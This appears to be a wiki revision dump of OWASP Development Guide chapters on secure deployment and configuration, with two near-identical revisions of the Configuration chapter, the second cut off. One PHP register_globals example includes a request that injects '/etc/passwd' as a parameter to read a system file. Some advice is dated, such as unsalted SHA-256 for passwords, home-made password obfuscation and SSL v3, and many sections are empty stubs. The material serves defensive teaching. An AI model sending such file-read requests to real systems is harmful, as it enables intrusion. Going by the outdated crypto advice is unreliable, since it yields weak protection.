KirstenS: /* Malicious software */

{{Template:Stub}}

[[Guide Table of Contents| Development Guide Table of Contents]]__TOC__

Deployment is the first and sometimes the only experience system administrators will have with your application. Customers who buy or use your application appreciate the lower costs of securely deployed software – if their system administrators do not have to spend hours or days securing your software, they are far more likely to choose your software over an insecure competitor.

Ease of deployment is a key consideration for many highly available or highly changeable systems. Systems have a special knack of buying the farm at 3 am Monday morning before the busiest day of the year. If your application can be trivially installed at 3 am by tired and emotional system administrators, they will remember you fondly when the time comes for new software or the next version. The worst case alternative is that your customers may not be around if your software takes three days to install.

Secure deployment is essential for high value systems. High value systems require controls in excess of basic software. This chapter guides you through packaging and deployment issues.

==Objective ==

To ensure that the application is deployed as easily and as securely as possible.

==Platforms Affected ==

All.

==Best Practices ==

* Software should have automated installers and provide automated uninstallers

* Software should deploy using a least privilege security model

* Software should not expose any secrets once installed

* Documentation should not contain any default accounts, nor should the installer contain any pre-chosen or default accounts

* Every configuration parameter must to be findable

==Release Management ==

Release management is a formal process designed to ensure that applications are released in a tested and controlled fashion.

===How to identify if you are vulnerable ===

Is there release management in place? If so, does it cover?

* Deployment testing

* Acceptance testing

===How to protect yourself ===

* Read software quality assurance references

* Write deployment instructions

* Eliminate all steps that can be automated

* Implement a deployment acceptance test

==Secure delivery of code ==

Attackers have been known to send malicious code to end users, so it is vital that your users and customers can obtain your software in a secure fashion.

===How to identify if you are vulnerable ===

Secure delivery of code is relatively simple to test, and even easier to rectify.

* Pretend to be a normal customer. Obtain your software in the usual fashion.

* Was it obtained from a retailer or other distributor in hard format? If so, does the software contain instructions on how to validate it against legitimate deliveries?

* Does the media contain any viruses or harmful code?

* Was it obtained from a third party download site? If so, does it contain an accurate link back to your site?

===How to protect yourself ===

Secure

==Code signing ==

===How to identify if you are vulnerable ===

===How to protect yourself ===

==Permissions are set to least privilege ==
Application owner must to use a different user than sys admin. Only sys admin have access to root password.
===How to identify if you are vulnerable ===
* every employee can access with root/admin user
*deployment procedures want system privileges
* live application want system privileges to start
===How to protect yourself ===
* create one user for every application
* every application must uses least privileges
* deploy and start command does not use root/admin privileges

==Automated packaging ==

===How to identify if you are vulnerable ===

===How to protect yourself ===

==Automated deployment ==

===How to identify if you are vulnerable ===

===How to protect yourself ===

==Automated removal ==

===How to identify if you are vulnerable ===

===How to protect yourself ===

==No backup or old files ==

===How to identify if you are vulnerable ===

===How to protect yourself ===

==Unnecessary features are off by default ==

===How to identify if you are vulnerable ===

===How to protect yourself ===

==Setup log files are clean ==

===How to identify if you are vulnerable ===

===How to protect yourself ===

==No default accounts ==

===How to identify if you are vulnerable ===
* Identify the default user accounts that are standard with the product you are using.
* Run periodic tests to ensure none of the accounts you identify are enabled or exist.

===How to protect yourself ===
* Never generate common or default credentials.
* Always remove any default user accounts from the server and applications prior to deployment.

==Easter eggs ==

Easter eggs are mostly small (but sometimes not) hidden features. Often they will contain the developers' names or activate hidden advanced or developer features, but occasionally, they are more like mini-applications. For the most part, they have no business function.

''Figure 7 Adobe InDesign CS SVG Easter Egg''

Easter eggs are fairly popular with developers, but they are problematic from a software engineering and legal view point. Unless easter eggs have been sufficiently designed and tested, easter eggs can cause the application to crash or misbehave. For example, Word 97 contained a pinball game and Excel 97 contained a small flight simulator. If these crashed with unsaved data, the application is not acting within design parameters, opening up liability.

However, there is a case for including debug functionality, as long as it is tested, not enabled by default, and is documented within the user or administration manual.

===How to identify if you are vulnerable ===

===It’s almost impossible to prevent clever ===

===How to protect yourself ===

==Malicious software ==

The delivery of software is littered with examples of software delivered with something more than the users bargained for.

Examples include:

* Sony delivered First 4 Internet's XCP (Extended Copy Protection) rootkit on millions of audio disks, infecting at least half a million PCs. Major legal problems have ensued, and set copy prohibition technologies back at least five years

* Microsoft through a lack of a quality assured distribution process (now resolved), distributed viruses on multiple occasions, such as the Word macro viruses Concept and Wazzu

* Microsoft partner and premium support web sites were distributing Hotfixes with the FunLove virus in 2001

* Hewlett-Packard had the FunLove virus on their web site, in 2000 and also 2006. Though in 2006 it was a printer that was no longer made and the Korean version of Windows 95 drivers for it, so not as big a deal as in 2000

* Linux kernel with a backdoor was submitted to CVS tree in November 2003. It was spotted (by Larry McVoy) because it had been placed directly into CVS, not via BitKeeper

These examples show that distributing malicious software can be highly embarrassing, extremely expensive (in Sony’s case, hundreds of millions of dollars) to resolve, and they are often truly trivial to prevent.

In the past, there has been a lot of confusion over the legal status of 'spyware' (e.g. software written so a boss can monitor his employees) and 'adware' (e.g. software written to collect and send back how many of a companies sites have been surfed to, or change keywords in search results). Often they have been distributed with free software, and the user has agreed in often vague and deliberately verbose legal agreements, that they can be installed on their system. Usually the adware is mentioned as a method to 'boost' the user's ability to use a shopping network, or it's mentioned that information might be sent back to 'assist in our marketing' or that of partners. This makes it sound as if it's akin to Web cookies, and that there'll be very little effect on system performance, and no privacy issues over what is sent back. However now that the public are becoming more aware of adware, the legal distinctions are clearer, and the IT security community are quickly learning which companies that write adware are prepared to play ball, make their warning notices more useful, make their software less covert, etc. and which are continuing to write software that violates the user's privacy and drains system resources.

In most countries, it is now illegal to create, distribute, and use software that acts in a surreptitious and devious manner. Users will remember any vendor attempting such criminal sabotage and never buy from such vendors again. Sony is an excellent case of this; the rootkit scandal has done their reputation a great deal of damage. In Australia, such criminal acts are punishable with fines of up to $250,000 per infected computer, and up to 10 years imprisonment. Similar statutes and punishments exist in most countries.

'''OWASP is not a source of legal advice; if you think your software flies close to the wind, you must seek competent legal opinion. Even better, do not create or distribute such software. Karma will bite you on the flip side. '''

===How to identify if you are vulnerable ===

Does your software contain any malicious code, which performs unauthorized or damaging activity? This could be code like Sony’s root kit. If so remove it.

Did you check your final software image for known:

* viruses using at least one up to date virus scanner?

* spyware using at least one up to date spyware scanner?

You may also wish to check for rootkits as there are specific tools now available to do that, at least on the Windows and Unix platforms.

Be aware that there are many free spyware scanners available which are not to be trusted. They may surreptitiously install spyware, then when they 'find' it,
advise that you need to buy the commercial version to be able to remove it. This situation will hopefully improve now that more antivirus and security software companies are building integrated solutions that detect spyware as well as viruses and worms. In the meantime, stick with the more well-known spyware detection software.

Is it possible for an auditor to determine when this scan took place?

===How to protect yourself ===

Do not create or distribute malicious software – it is illegal in most countries.

Scan your final distribution images and media with at least one up to date virus scanner and at least one spyware checker. Document in your manual the date of this scan and the software used.

==Further Reading ==

===Deploying applications ===

* (PHP) Deploying PHP web applications with Ant:

http://www.onlamp.com/pub/a/php/2005/12/20/php_ant.html

* (J2EE) Deploying for the web using Ant:

http://www.onjava.com/pub/a/onjava/excerpt/AntTDG_chap8/index.html

http://www.onjava.com/pub/a/onjava/excerpt/AntTDG_chap8/index1.html

* (Apple MacOS X) Package Maker

http://developer.apple.com/tools/installerpolicy.html

* (Many Linux distros) Redhat Package Manager (RPM)

http://www.rpm.org/

* (Fedora and Red Hat Enterprise Linux) Yellowdog Update Manager (YUM)

http://linux.duke.edu/projects/yum/

* (Debian, and MacOS X using Fink) Advanced Packaging Tool

http://www.debian.org/doc/manuals/apt-howto/index.en.html

* (Solaris) Application Packaging Developer’s Guide

http://docs.sun.com/app/docs/doc/806-7008/

* (Solaris) Blastwave is a project to encourage sharing of free software for Solaris 8, 9 and 10. Also called Community Software for Solaris (CSW); the end-user uses the pkg-get tool to install packages.

http://www.blastwave.org/

* (FreeBSD) Ports and Packages Collection

http://www.freebsd.org/ports/index.html

* (Win32, .NET, any framework where xcopy works as a deployment tool)

Microsoft Windows Installer XML (wix), a free Windows installer creator

http://sourceforge.net/projects/wix

===Examples of bad deployment practices ===

Sony’s root kit settlement will cost Sony more than $150 million and seriously set back their anti-consumer copy prohibition agenda

* Sony, Rootkits and Digital Rights Management Gone Too Far:

http://www.sysinternals.com/blog/2005/10/sony-rootkits-and-digital-rights.html

* Sony has a voluntary recall program for XCP infected disks:

http://cp.sonybmg.com/xcp/

* Settlement details of at least ten class action lawsuits against Sony:

http://www.eff.org/IP/DRM/Sony-BMG/

* Microsoft distributes macro viruses on CD

http://www.f-secure.com/v-descs/wazzu.shtml

==Links==
[[Guide Table of Contents| Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Activity]]
[[Category:Deployment]]

Configuration

2009-05-03T21:37:00Z

KirstenS: /* How to protect yourself */

[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__

==Objective ==

To produce applications which are secure out of the box.

==Platforms Affected ==

All.

==Relevant COBIT Topics ==

DS6 – Manage Changes – All sections should be reviewed

==Best Practices ==

Turn off all unnecessary features by default

* Ensure that all switches and configuration for every feature is configured initially to be the safest possible choice.

* Inspect the design to see if the less safe choices could be designed in another way. For example, password reset systems are intrinsically unsound from a security point of view. If you do not ship this component, your application’s users will be safer.

* Do not rely on optionally installed features in the base code.

* Do not configure anything in preparation for an optionally deployable feature.

==Default passwords ==

Applications often ship with well-known passwords. In a particularly excellent effort, NGS Software determined that Oracle’s “Unbreakable” database server contained 168 default passwords out of the box. Obviously, changing this many credentials every time an application server is deployed is out of the question, nor should it be necessary.

===How to identify if you are vulnerable ===

* Inspect the application’s manifest and ensure that no passwords are included in any form, whether within the source files, compiled into the code, or as part of the configuration.

* Inspect the application for usernames and passwords. Ensure that diagrams also do not have any.

===How to protect yourself ===

* Do not ship the product with any configured accounts.

* Do not hard code any backdoor accounts or special access mechanisms.

==Secure connection strings ==

Connection strings to the database are rarely encrypted. However, they allow a remote attacker who has shell access to perform direct operations against the database or back end systems, thus providing a leap point for total compromise.

===How to identify if you are vulnerable ===

* Check your framework’s configuration file, registry settings, and any application based configuration file (usually config.php, etc) for clear text connection strings to the database.

===How to protect yourself ===

* Sometimes, no password is just as good as a clear text password.

* On the Win32 platform, use “TrustedConnection=yes”, and create the DSN with a stored credential. The credential is stored as an LSA Secret, which is not perfect, but is better than clear text passwords.

* Develop a method to obfuscate the password in some form, such as “encrypting” the name using the hostname or similar within code in a non-obvious way.

* Ask the database developer to provide a library which allows remote connections using a password hash instead of a clear text credential.

==Secure network transmission ==

By default, no unencrypted data should transit the network.

===How to identify if you are vulnerable ===

* Use a packet capture tool, such as Ethereal, and mirror a switch port near the database or application servers.

* Sniff the traffic for a while and determine your exposure to an attacker performing this exact same task.

===How to protect yourself ===

* Use SSL, SSH and other forms of encryption (such as encrypted database connections) to prevent data from being intercepted or interfered with over the wire.

==Encrypted data ==

Some information security policies and standards require the database on-disk data to be encrypted. However, this is essentially useless if the database connection allows clear text access to the data. What is more important is the obfuscation and one-way encryption of sensitive data.

===How to identify if you are vulnerable ===

Highly protected applications:

* Is there a requirement to encrypt certain data?

* If so, is it “encrypted” in such a fashion that allows a database administrator to read it without knowing the key?

If so, the “encryption” is useless and another approach is required.

===How to protect yourself ===

Highly protected applications and any application that has a requirement to encrypt data:

* Passwords should only be stored in a non-reversible format, such as SHA-256 or similar

* Sensitive data like credit cards should be carefully considered – do they have to be stored at all? '''The PCI guidelines are very strict''' '''on the storage of credit card data'''. '''We strongly recommend against it. '''

* Encrypted data should not have the key on the database server.

The last requirement requires the attacker to take control of two machines to bulk decrypt data. The encryption key should be able to be changed on a regular basis, and the algorithm should be sufficient to protect the data in a temporal timeframe. For example, there is no point in using 40 bit DES today; data should be encrypted using AES-128 or better.

==PHP Configuration ==

==Global variables ==

Variables declared outside of functions are considered global by PHP. The opposite is that a variable declared inside a function, is considered to be in local function scope. PHP handles global variables quite differently than languages like C. In C, a global variable is always available in local scope as well as global, as long as it is not overridden by a local definition. In PHP things are different; to access a global variable from local scope you have to declare it global in that scope. The following example shows this:

<pre>

$sTitle = 'Page title'; // Global scope

function printTitle()

{

global $sTitle; // Declare the variable as global

echo $sTitle; // Now we can access it just like it was a local variable

}

</pre>

All variables in PHP are represented by a dollar sign followed by the name of the variable. The names are case-sensitive and must start with a letter or underscore, followed by any number of letters, numbers, or underscores.

==register_globals ==

The register_globals directive makes input from GET, POST and COOKIE, as well as session variables and uploaded files, directly accessible as global variables in PHP. This single directive, if set in php.ini, is the root of many vulnerabilities in web applications.

Let's start by having a look at an example:

<pre>

if ($bIsAlwaysFalse)

{

// This is never executed:

$sFilename = 'somefile.php';

}''

// ...

if ( $sFilename != '' )

{

// Open $sFilename and send it's contents to the browser

// ...

}

</pre>

If we were to call this page like: '''''page.php?sFilename=/etc/passwd''''' with register_globals set, it would be the same as to write the following:

<pre>

$sFilename = '/etc/passwd'; // This is done internally by PHP

if ( $bIsAlwaysFalse )

{ // This is never executed:

$sFilename = 'somefile.php';

}

// ...

if ( $sFilename != '' )

{

// Open $sFilename and send it's contents to the browser

// ...

}

</pre>

PHP takes care of the '''''$sFilename = '/etc/passwd';''''' part for us. What this means is that a malicious user could inject his/her own value for $sFilename and view any file readable under the current security context.

We should always think of that “what if” when writing code. So turning off register_globals might be a solution but what if our code ends up on a server with register_globals on. We must bear in mind that all variables in global scope could have been tampered with. The correct way to write the above code would be to make sure that we always assign a value to '''''$sFilename''''':

<pre>

// We initialize $sFilename to an empty string

$sFilename = '';

if ( $bIsAlwaysFalse ) {

// This is never executed:

$sFilename = 'somefile.php';

}

...

if ( $sFilename != '' ) {

// Open $sFilename and send it's contents to the browser

...

}

</pre>

Another solution would be to have as little code as possible in global scope. Object oriented programming (OOP) is a real beauty when done right and I would highly recommend you to take that approach. We could write almost all our code in classes that is generally safer and promotes reuse. Like we never should assume that register_globals is off, we should never assume it is on. The correct way to get input from GET, POST, COOKIE etc. is to use the superglobals that were added in PHP version 4.1.0. These are the $_GET, $_POST, $_ENV, $_SERVER, $_COOKIE, $_REQUEST $_FILES, and $_SESSION arrays. The term superglobals is used since they are always available without regard to scope.

'''register_globals '''

If set PHP will create global variables from all user input coming from get, post and cookie. If you have the opportunity to turn off this directive you should definitely do so. Unfortunately there is so much code out there that uses it so you are lucky if you can get away with it.

Recommended: off

'''safe_mode '''

The PHP safe mode includes a set of restrictions for PHP scripts and can really increase the security in a shared server environment. To name a few of these restrictions: A script can only access/modify files and folders which has the same owner as the script itself. Some functions/operators are completely disabled or restricted, like the backtick operator.

'''disable_functions '''

This directive can be used to disable functions of our choosing.

'''open_basedir '''

Restricts PHP so that all file operations are limited to the directory set here and its subdirectories.

'''allow_url_fopen '''

With this option set PHP can operate on remote files with functions like include and fopen.

Recommended: off

'''error_reporting '''

We want to write as clean code as possible and thus we want PHP to throw all warnings, etc. at us.

Recommended: E_ALL

'''log_errors '''

Logs all errors to a location specified in php.ini.

Recommended: on

'''display_errors '''

With this directive set, all errors that occur during the execution of scripts, with respect to error_reporting, will be sent to the browser. This is desired in a development environment but not on a production server, since it could expose sensitive information about our code, database or web server.

Recommended: off (production), on (development)

'''magic_quotes_gpc '''

Escapes all input coming in from post, get and cookie. This is something we should handle on our own.

This also applies to '''magic_quotes_runtime'''.

Recommended: off

'''post_max_size, upload_max_filesize and memory_limit '''

These directives should be set at a reasonable level to reduce the risk of resource starvation attacks.

==Database security ==

Data obtained from the user needs to be stored securely. In nearly every application, insufficient care is taken to ensure that data cannot be obtained from the database itself.

===How to identify if you are vulnerable ===

* Does the application connect to the database using low privilege users?

* Are there different database connection users for application administration and normal user activities? If not, why not?

* Does the application make use of safer constructs, such as stored procedures which do not require direct table access?

* Highly protected applications:
** Is the database is on another host? Is that host locked down?
** All patches deployed and latest database software in use?
** Does the application connect to the database using an encrypted link? If not, is the application server and database server in a restricted network with minimal other hosts, particularly untrusted hosts like desktop workstations?

===How to protect yourself ===

* The application should connect to the database using as low privilege user as is possible.

* The application should connect to the database with different credentials for every trust distinction (e.g., user, read-only user, guest, administrators) and permissions applied to those tables and databases to prevent unauthorized access and modification.

* The application should prefer safer constructs, such as stored procedures which do not require direct table access. Once all access is through stored procedures, access to the tables should be revoked.

* Highly protected applications:
** The database should be on another host, which should be locked down with all current patches deployed and latest database software in use.
** The application should connect to the database using an encrypted link. If not, the application server and database server must reside in a restricted network with minimal other hosts.
** Do not deploy the database server in the main office network.

==Further Reading ==

* ITIL – Change Management http://www.itil.org.uk/

==ColdFusion Components (CFCs) ==

This section provides guidance on using ColdFusion components (CFCs) without exposing your web application to unnecessary risk. ColdFusion provides two ways of restricting access to CFCs; role-based security and access control.

Role-based security is implemented by the '''''roles''''' attribute of the <cffunction> tag. The attribute contains a comma-delimited list of security roles that can call this method.

Access control is implemented by the '''''access''''' attribute of the <cffunction> tag. The possible values of the attribute in order of most restricted behavior are: private (strongest), package, public (default), and remote (weakest).

'''Private:''' The method is accessible only to methods within the same component. This is similar to the Object Oriented Programming (OOP) private identifier.

'''Package:''' The method is accessible only to other methods within the same package. This is similar to the OOP protected static identifier.

'''Public:''' The method is accessible to any CFC or CFM on the same server. This is similar to the OOP public static identifier.

'''Remote:''' Allows all the privileges of public, in addition to accepting remote requests from HTML forms, Flash, or a web services. This option is required, to publish the function as a web service.

'''Best Practices'''

*Do not use THIS scope inside a component to expose properties. Use a getter or setter function instead. For example, instead of using THIS.myVar create a public function that sets the variable (i.e. setMyVar(value)).

*Do not omit the role attribute as ColdFusion will not restrict user access to the function.

*Avoid using Access=”Remote” if you do not intend to call the component directly from a URL.

==Configuration ==

The following section describes some of the server-wide security-related options available to a ColdFusion administrator via the ColdFusion MX 7 Administrator console web application (http://servername:port/CFIDE/administrator/index.cfm). If the console application is unavailable, you can modify these options by editing the XML files in the cf_root/lib/ (Server configuration) or cf_web_root/WEB-INF/cfusion/lib (J2EE configuration) directory; however, editing these files directly is not recommended.

'''Best Practice '''

*CF Admin Password screen

*Enable a strong Administrator password
**'''The ColdFusion Administrator is the default interface for configuring the ColdFusion application server. It is secured by a single password. Ensure that the Administrator security is enabled and the password is strong and stored in a secure place.'''
**Ensure the checkbox is filled
**Enter and confirm a strong password string of 8 characters or more
**Click Submit Changes

'''Sandbox Security screen'''

Enable Sandbox Security

'''The ColdFusion Sandbox allows you to place access security restrictions on files, directories, methods, and data sources. Sandboxes make the most sense for a hosting provider or corporate intranet where multiple applications share the same server. Enable this option.'''

'''Next, a sandbox needs to be configured, because if not all code in all directories will execute without restriction. Code in a directory and its subdirectories inherits the access controls defined for the sandbox. For example, if ABC Company creates multiple applications within their directory all applications will have the same permissions as the parent. A sandbox applied to ABC-apps will apply to app1 and app2. A sample directory structure is shown below:'''

'''D:\inetpub\wwwroot\ABC-apps\app1'''

'''D:\inetpub\wwwroot\ABC-apps\app2'''

'''Note: if a new sandbox is created for app2 then it will not inherit settings from ABC-apps.'''

'''Sandbox security configurations are application specific; however, there are general guidelines that should be followed:'''

Create a default restricted sandbox and copy setting to each subsequent sandbox removing restrictions as needed by the application. Except in the case of files/directories where access is granted rather than restricted.

Restrict access to data sources that should not be accessed by the sandboxed application.

Restrict access to powerful tags, for example CFREGISTRY and CFEXECUTE.

Restrict file and directory access to limit the ability of tags and functions to perform actions to specified paths.

'''''Every''''' application should have a sandbox.

In multi-homed environments disable Java Server Pages (JSP) as ColdFusion is unable to restrict the functionality of the underlying Java server.

'''RDS Password screen'''

Enable a strong RDS password

'''Developers can access ColdFusion resources (files and data sources) over HTTP from Macromedia Dreamweaver MX and HomeSite+ through ColdFusion’s Remote Development Services (RDS). This feature is password protected should only be enabled in secure development environments.'''

Ensure the checkbox is filled

Enter and confirm a strong password string of 8 characters or more

Click Submit Changes

Use RDS over SSL - During development, you should use SSL v3 to encrypt all RDS communications between Dreamweaver MX and the ColdFusion server. This includes remote access to server data sources and drives, provided that both are accessed through RDS.

Disable RDS in Production

'''In production environments, you should not use RDS. In earlier versions of ColdFusion, RDS ran as a separate service or process and could be disabled by disabling the service. In ColdFusion MX, RDS is integrated into the main service. To disable it, you must disable the RDSServlet mapping in the web.xml file. The following procedure assumes that ColdFusion is installed in the default location.'''

'''1. Back up the C:\CFusionMX7\wwwroot\WEB-INF\web.xml file.'''

'''2. Open the web.xml file for editing.'''

'''3. Comment out the RDSServlet mapping, as follows:'''

'''<!—'''

'''<servlet-mapping> '''

'''<servlet-name>RDSServlet</servlet-name> '''

'''<url-pattern>/CFIDE/main/ide.cfm</url-pattern> '''

'''</servlet-mapping>'''

'''--> '''

'''4. Save the file.'''

'''5. Restart ColdFusion.'''

Settings Screen

Enable a Request Timeout

'''ColdFusion processes requests simultaneously and queues all requests above the configured maximum number of simultaneous requests. If requests run abnormally long, this can tie up server resources and lead to DoS attacks. This setting will terminate requests when the configured timeout is reached.'''

Fill the checkbox next to “Timeout Request after (seconds)”

Enter the number of seconds for ColdFusion to allow threads to run

'''To allow a valid template request to run beyond the configured timeout, place a <cfsetting> atop the base ColdFusion template and configure the RequestTimeout attribute for the necessary amount of time (in seconds).'''

Use UUID for cftoken

'''Best practice calls for J2EE session management. In the event that only ColdFusion session management is available, strong security identifiers must be used. Enable this setting to change the default 8-character CFToken security token string to a UUID.'''

Enable Global Script Protection - This is a new security feature in ColdFusion MX 7 that isn’t available in other web application platforms. It helps protect Form, URL, CGI, and Cookie scope variables from cross-site scripting attacks.

Specify a Site-wide Error Handler

'''Prevent information leaks through verbose error messages. Specifying a site-wide error handler covers you when cftry/cfcatch are not used. This page should be a generic error message that you return to the user. Also, if the error handler displays user-input, it should be reviewed for potential cross-site scripting issues.'''

Specify a Missing Template Handler

'''Provide a custom message page for HTTP 404 errors when the server cannot find the requested ColdFusion template.'''

Configure a memory throttling

'''To prevent file upload DoS attacks, Macromedia added new configuration settings to ColdFusion MX 7.0.1 that allow administrators to restrict the total upload size of HTTP POST operations. Configure these settings accordingly.'''

maximum size for post data

'''This is the total size that ColdFusion will accept for any single HTTP POST request (including file uploads). ColdFusion will reject any request whose Content-size header exceeds this setting.'''

Request Throttle Threshold

'''HTTP POST requests larger than this setting (default is 4MB) are included in the total concurrent request memory size and get queued if they exceed the Request Throttle Memory setting.'''

Request Throttle Memory

'''This sets the total amount of memory (MB) ColdFusion reserves for concurrent HTTP POST requests. Any requests exceeding this limit are queued until enough memory is available. '''

'''Memory Variables screen'''

Enable J2EE Session Management and Use J2EE session variables.

Best practice requires J2EE sessions because they are more secure than regular ColdFusion sessions. (See Session Management section)

Select checkbox next to “Enable Session Variables”

Select checkbox next to “Enable J2EE session variables”

Set the maximum session timeout to 20 minutes to limit the window of opportunity for session hijacking.

Set the default session timeout to 20 minutes to limit the window of opportunity for session hijacking. (The default value is 20 minutes.)

The session-timeout parameter in the cf_root/WEB-INF/web.xml file establishes the maximum J2EE session timeout. This setting should always be greater-than or equal-to ColdFusion’s Maximum Session Timeout value.

Set the maximum application timeout to 24 hours.

Set the default application timeout to 8 hours.

'''Data Sources screen'''

Do not use an administrative account to connect ColdFusion to a data source. For example, do not use SA account to connect to a MS SQL Server. The account accessing the database should be granted specific privileges to the objects it needs to access. In addition, the account created to connect the database should be an OS-based, not a SQL account. Operating system accounts have many more auditing, password, and other security controls associated with them. For example, account lockouts and password complexity requirements are built into the Windows operating system; however, a database would need custom code to handle these security-related tasks.

Disable the following Allowed SQL options for all data sources:

Create

Drop

Grant

Revoke

Alter

'''As an administrator, you do not have control over what a developer sends to the database; however, there should be no circumstance where the previous commands need to be sent to a database from a web application.'''

'''Debugging Settings screen'''

Disable Robust Exception for production servers. (Default)

Disable Debugging for production servers. (Default)

'''Debugging IP Addresses'''

Ensure only the addresses of trusted clients are in the IP list.

Only allow the localhost IP (127.0.0.1) in the list on production machines

'''Mail screen'''

Require a user name and password to authenticate to your mail server.

Set the connection timeout to 60 seconds (The default value is 60 seconds.)

==Links==
[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Activity|Secure Lifecycle]]
[[category:Deployment]]

Configuration

2009-05-03T21:36:09Z

KirstenS: /* How to identify if you are vulnerable */

[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__

==Objective ==

To produce applications which are secure out of the box.

==Platforms Affected ==

All.

==Relevant COBIT Topics ==

DS6 – Manage Changes – All sections should be reviewed

==Best Practices ==

Turn off all unnecessary features by default

* Ensure that all switches and configuration for every feature is configured initially to be the safest possible choice.

* Inspect the design to see if the less safe choices could be designed in another way. For example, password reset systems are intrinsically unsound from a security point of view. If you do not ship this component, your application’s users will be safer.

* Do not rely on optionally installed features in the base code.

* Do not configure anything in preparation for an optionally deployable feature.

==Default passwords ==

Applications often ship with well-known passwords. In a particularly excellent effort, NGS Software determined that Oracle’s “Unbreakable” database server contained 168 default passwords out of the box. Obviously, changing this many credentials every time an application server is deployed is out of the question, nor should it be necessary.

===How to identify if you are vulnerable ===

* Inspect the application’s manifest and ensure that no passwords are included in any form, whether within the source files, compiled into the code, or as part of the configuration.

* Inspect the application for usernames and passwords. Ensure that diagrams also do not have any.

===How to protect yourself ===

* Do not ship the product with any configured accounts.

* Do not hard code any backdoor accounts or special access mechanisms.

==Secure connection strings ==

Connection strings to the database are rarely encrypted. However, they allow a remote attacker who has shell access to perform direct operations against the database or back end systems, thus providing a leap point for total compromise.

===How to identify if you are vulnerable ===

* Check your framework’s configuration file, registry settings, and any application based configuration file (usually config.php, etc) for clear text connection strings to the database.

===How to protect yourself ===

* Sometimes, no password is just as good as a clear text password.

* On the Win32 platform, use “TrustedConnection=yes”, and create the DSN with a stored credential. The credential is stored as a LSA Secret, which is not perfect, but is better than clear text passwords.

* Develop a method to obfuscate the password in some form, such as “encrypting” the name using the hostname or similar within code in a non-obvious way.

* Ask the database developer to provide a library which allows remote connections using a password hash instead of a clear text credential.

==Secure network transmission ==

By default, no unencrypted data should transit the network.

===How to identify if you are vulnerable ===

* Use a packet capture tool, such as Ethereal, and mirror a switch port near the database or application servers.

* Sniff the traffic for a while and determine your exposure to an attacker performing this exact same task.

===How to protect yourself ===

* Use SSL, SSH and other forms of encryption (such as encrypted database connections) to prevent data from being intercepted or interfered with over the wire.

==Encrypted data ==

Some information security policies and standards require the database on-disk data to be encrypted. However, this is essentially useless if the database connection allows clear text access to the data. What is more important is the obfuscation and one-way encryption of sensitive data.

===How to identify if you are vulnerable ===

Highly protected applications:

* Is there a requirement to encrypt certain data?

* If so, is it “encrypted” in such a fashion that allows a database administrator to read it without knowing the key?

If so, the “encryption” is useless and another approach is required.

===How to protect yourself ===

Highly protected applications and any application that has a requirement to encrypt data:

* Passwords should only be stored in a non-reversible format, such as SHA-256 or similar

* Sensitive data like credit cards should be carefully considered – do they have to be stored at all? '''The PCI guidelines are very strict''' '''on the storage of credit card data'''. '''We strongly recommend against it. '''

* Encrypted data should not have the key on the database server.

The last requirement requires the attacker to take control of two machines to bulk decrypt data. The encryption key should be able to be changed on a regular basis, and the algorithm should be sufficient to protect the data in a temporal timeframe. For example, there is no point in using 40 bit DES today; data should be encrypted using AES-128 or better.

==PHP Configuration ==

==Global variables ==

Variables declared outside of functions are considered global by PHP. The opposite is that a variable declared inside a function, is considered to be in local function scope. PHP handles global variables quite differently than languages like C. In C, a global variable is always available in local scope as well as global, as long as it is not overridden by a local definition. In PHP things are different; to access a global variable from local scope you have to declare it global in that scope. The following example shows this:

<pre>

$sTitle = 'Page title'; // Global scope

function printTitle()

{

global $sTitle; // Declare the variable as global

echo $sTitle; // Now we can access it just like it was a local variable

}

</pre>

All variables in PHP are represented by a dollar sign followed by the name of the variable. The names are case-sensitive and must start with a letter or underscore, followed by any number of letters, numbers, or underscores.

==register_globals ==

The register_globals directive makes input from GET, POST and COOKIE, as well as session variables and uploaded files, directly accessible as global variables in PHP. This single directive, if set in php.ini, is the root of many vulnerabilities in web applications.

Let's start by having a look at an example:

<pre>

if ($bIsAlwaysFalse)

{

// This is never executed:

$sFilename = 'somefile.php';

}''

// ...

if ( $sFilename != '' )

{

// Open $sFilename and send it's contents to the browser

// ...

}

</pre>

If we were to call this page like: '''''page.php?sFilename=/etc/passwd''''' with register_globals set, it would be the same as to write the following:

<pre>

$sFilename = '/etc/passwd'; // This is done internally by PHP

if ( $bIsAlwaysFalse )

{ // This is never executed:

$sFilename = 'somefile.php';

}

// ...

if ( $sFilename != '' )

{

// Open $sFilename and send it's contents to the browser

// ...

}

</pre>

PHP takes care of the '''''$sFilename = '/etc/passwd';''''' part for us. What this means is that a malicious user could inject his/her own value for $sFilename and view any file readable under the current security context.

We should always think of that “what if” when writing code. So turning off register_globals might be a solution but what if our code ends up on a server with register_globals on. We must bear in mind that all variables in global scope could have been tampered with. The correct way to write the above code would be to make sure that we always assign a value to '''''$sFilename''''':

<pre>

// We initialize $sFilename to an empty string

$sFilename = '';

if ( $bIsAlwaysFalse ) {

// This is never executed:

$sFilename = 'somefile.php';

}

...

if ( $sFilename != '' ) {

// Open $sFilename and send it's contents to the browser

...

}

</pre>

Another solution would be to have as little code as possible in global scope. Object oriented programming (OOP) is a real beauty when done right and I would highly recommend you to take that approach. We could write almost all our code in classes that is generally safer and promotes reuse. Like we never should assume that register_globals is off, we should never assume it is on. The correct way to get input from GET, POST, COOKIE etc. is to use the superglobals that were added in PHP version 4.1.0. These are the $_GET, $_POST, $_ENV, $_SERVER, $_COOKIE, $_REQUEST $_FILES, and $_SESSION arrays. The term superglobals is used since they are always available without regard to scope.

'''register_globals '''

If set PHP will create global variables from all user input coming from get, post and cookie. If you have the opportunity to turn off this directive you should definitely do so. Unfortunately there is so much code out there that uses it so you are lucky if you can get away with it.

Recommended: off

'''safe_mode '''

The PHP safe mode includes a set of restrictions for PHP scripts and can really increase the security in a shared server environment. To name a few of these restrictions: A script can only access/modify files and folders which has the same owner as the script itself. Some functions/operators are completely disabled or restricted, like the backtick operator.

'''disable_functions '''

This directive can be used to disable functions of our choosing.

'''open_basedir '''

Restricts PHP so that all file operations are limited to the directory set here and its subdirectories.

'''allow_url_fopen '''

With this option set PHP can operate on remote files with functions like include and fopen.

Recommended: off

'''error_reporting '''

We want to write as clean code as possible and thus we want PHP to throw all warnings, etc. at us.

Recommended: E_ALL

'''log_errors '''

Logs all errors to a location specified in php.ini.

Recommended: on

'''display_errors '''

